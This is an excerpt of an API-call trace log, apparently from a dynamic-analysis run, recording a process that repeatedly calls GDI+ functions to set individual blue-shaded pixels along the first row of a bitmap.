GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=459, y=0, color=0xffffffffff00008b) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=461, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=462, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=466, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=475, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=480, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=482, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=485, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=488, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=490, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.788] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.788] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.788] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=494, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.788] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=498, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=501, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=505, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=506, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=512, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=514, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.789] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=516, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.789] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.789] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.789] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=519, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=525, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=528, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=529, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=530, y=0, color=0xffffffffff00008b) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=531, y=0, color=0xffffffffff00008b) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=533, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.790] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.790] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.790] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=536, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.790] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=537, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=540, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=541, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=542, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=545, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=551, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.791] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=552, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.791] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.791] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.791] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=553, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=554, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=569, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=570, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=572, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=583, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=585, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.792] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.792] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.792] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.792] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=587, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=589, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=599, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=608, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=610, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=613, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=615, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.793] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.793] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.793] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=616, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.793] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=622, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=626, y=0, color=0xffffffffff00008b) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=629, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=630, y=0, color=0xffffffffff00008b) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=635, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=637, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.794] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=640, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.794] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.794] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.794] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.795] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=643, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.795] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.795] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.804] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.804] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=646, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.804] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.804] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.804] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.804] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=657, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.804] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.804] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.804] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.804] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=661, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.804] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.804] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.804] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.804] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=663, y=0, color=0xffffffffff00008b) returned 0x0 [0158.804] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.804] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.804] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.804] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=672, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.804] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.804] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.804] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.804] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=673, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.804] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.805] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.805] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.805] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=677, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.805] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.805] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.805] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.805] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=678, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.805] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.805] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.805] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.805] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=680, y=0, color=0xffffffffff00008b) returned 0x0 [0158.805] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.805] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.805] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.805] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=687, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.805] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.805] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.805] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.805] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=689, y=0, color=0xffffffffff00008b) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=692, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=694, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=695, y=0, color=0xffffffffff00008b) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=696, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=702, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=708, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.806] 